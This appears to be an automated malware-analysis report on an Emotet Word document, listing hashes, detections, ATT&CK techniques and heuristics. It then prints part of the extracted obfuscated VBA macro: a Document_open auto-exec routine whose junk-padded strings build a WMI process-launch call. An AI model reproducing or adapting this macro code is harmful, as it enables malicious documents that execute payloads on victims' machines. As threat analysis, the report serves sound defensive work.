Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 6040408f78459059…

MALICIOUS

Office (OLE)

225.8 KB Created: 2020-08-31 17:43:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 2d07d60fd9a64afda8aa7a1266ac6833 SHA-1: 1efb91c19fe46f9bab2374fd085cc9bc85e8bca8 SHA-256: 6040408f78459059460f6d0d7a42fe2a1f217e2e912853ed9adee76ac5e9df59
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.EmotetRed02226-9938639-0', indicating a downloader. The presence of a Document_Open VBA macro that uses CreateObject strongly suggests the execution of malicious code upon opening the document. This macro is likely responsible for downloading and executing a secondary payload, a common tactic for Emotet. The heuristic firings confirm the presence and execution of VBA macros.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14274 bytes
SHA-256: 7d0275f354614a0c3f5dbfb5633cd922707b9ee90cf5b52b3bcbe05984cbebff
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "N9g96p32bur"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Rxogzyvz173x7tsk.G73_2uzb7mm94lnawc
End Sub


Attribute VB_Name = "Rxogzyvz173x7tsk"
Attribute VB_Base = "0{E5C890BD-7189-4347-AD0A-A5C3D0AA81D8}{A8BDB375-3968-4288-A6E4-52E9352D7E70}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function G73_2uzb7mm94lnawc()
   On Error Resume Next
      For Each WaPqNP In LLtF04OO
         BUC = nJqv * Fix(73001594 + Int(645) - qbqWk9n + Sgn(5)) - (652 / jhweg6 / 66 + CLng(PNHv0o5T))
      Next
      PqFz = Chr(sjXLUQ5)
      Set tOzWCvc = Aburyt1kot7_jpivh
      If bhfx <> BMas Then
         VPsPb9 = 8
      End If
      For Each TZv In XGs
         YGg = (1 - Log(642) * 4 + CSng(JhEV7E67P / NOXP9615 + 9899 - Sqr(nRGPe + zhzJ210j)) - 44 - HTq * QvVium99 - Cos(LATb5 + UDj))
      Next
      SWVF21hU = 190254234 / ECYP
Q1bli_kz9vhyvd = 100
   On Error Resume Next
      For Each WaPqNP In LLtF04OO
         BUC = nJqv * Fix(73001594 + Int(645) - qbqWk9n + Sgn(5)) - (652 / jhweg6 / 66 + CLng(PNHv0o5T))
      Next
      PqFz = Chr(sjXLUQ5)
      Set tOzWCvc = Ltj9iprrdghi2
      If bhfx <> BMas Then
         VPsPb9 = 8
      End If
      For Each TZv In XGs
         YGg = (1 - Log(642) * 4 + CSng(JhEV7E67P / NOXP9615 + 9899 - Sqr(nRGPe + zhzJ210j)) - 44 - HTq * QvVium99 - Cos(LATb5 + UDj))
      Next
      SWVF21hU = 190254234 / ECYP
H8vaqhkm8ovx3wvq = ChrW(Q1bli_kz9vhyvd + (dccc + 5 + fbbf + 10))
   On Error Resume Next
      For Each WaPqNP In LLtF04OO
         BUC = nJqv * Fix(73001594 + Int(645) - qbqWk9n + Sgn(5)) - (652 / jhweg6 / 66 + CLng(PNHv0o5T))
      Next
      PqFz = Chr(sjXLUQ5)
      Set tOzWCvc = S4j7tl8w9kgtj4_6j
      If bhfx <> BMas Then
         VPsPb9 = 8
      End If
      For Each TZv In XGs
         YGg = (1 - Log(642) * 4 + CSng(JhEV7E67P / NOXP9615 + 9899 - Sqr(nRGPe + zhzJ210j)) - 44 - HTq * QvVium99 - Cos(LATb5 + UDj))
      Next
      SWVF21hU = 190254234 / ECYP
Ou9ww1zmklf1n8zewu = "1x())))(h s22(7 d2ddd24((s2J1x())))(h s22(7 d2ddd24((s2Jw1x())))(h s22(7 d2ddd24((s2Ji1x())))(h s22(7 d2ddd24((s2Jnm1x())))(h s22(7 d2ddd24((s2J1x())))(h s22(7 d2ddd24((s2Jgm1x())))(h s22(7 d2ddd24((s2Jt1x())))(h s22(7 d2ddd24((s2J1x())))(h s22(7 d2ddd24((s2J" + H8vaqhkm8ovx3wvq + "1x())))(h s22(7 d2ddd24((s2J1x())))(h s22(7 d2ddd24((s2J:1x())))(h s22(7 d2ddd24((s2Jw1x())))(h s22(7 d2ddd24((s2Jin1x())))(h s22(7 d2ddd24((s2J1x())))(h s22(7 d2ddd24((s2J31x())))(h s22(7 d2ddd24((s2J21x())))(h s22(7 d2ddd24((s2J_1x())))(h s22(7 d2ddd24((s2J" + Rxogzyvz173x7tsk.Cmvuwubrf87 + "1x())))(h s22(7 d2ddd24((s2Jro1x())))(h s22(7 d2ddd24((s2J1x())))(h s22(7 d2ddd24((s2Jce1x())))(h s22(7 d2ddd24((s2Js1x())))(h s22(7 d2ddd24((s2Js1x())))(h s22(7 d2ddd24((s2J"
   On Error Resume Next
      For Each WaPqNP In LLtF04OO
         BUC = nJqv * Fix(73001594 + Int(645) - qbqWk9n + Sgn(5)) - (652 / jhweg6 / 66 + CLng(PNHv0o5T))
      Next
      PqFz = Chr(sjXLUQ5)
      Set tOzWCvc = Tlkh6tta5hsf4rm
      If bhfx <> BMas Then
         VPsPb9 = 8
      End If
      For Each TZv In XGs
         YGg = (1 - Log(642) * 4 + CSng(JhEV7E67P / NOXP9615 + 9899 - Sqr(nRGPe + zhzJ210j)) - 44 - HTq * QvVium99 - Cos(LATb5 + UDj))
      Next
      SWVF21hU = 190254234 / ECYP
Mfwt4fx37f7n8 = Fwdapvuhgwcay7xe(Ou9ww1zmklf1n8zewu)
   On Error Resume Next
      For Each WaPqNP In LLtF04OO
         BUC = nJqv * Fix(73001594 + Int(645) - qbqWk9n + Sgn(5)) - (652 / jhweg6 / 66 + CLng(PNHv0o5T))
      Next
      PqFz = Chr(sjXLUQ5)
      Set tOzWCvc = Eb6vf6_r8er_
      If bhfx <> BMas Then
         VPsPb9 = 8
      End If
      For Each TZv In XGs
         YGg = (1 - Log(642) * 4 + CSng(J
... (truncated)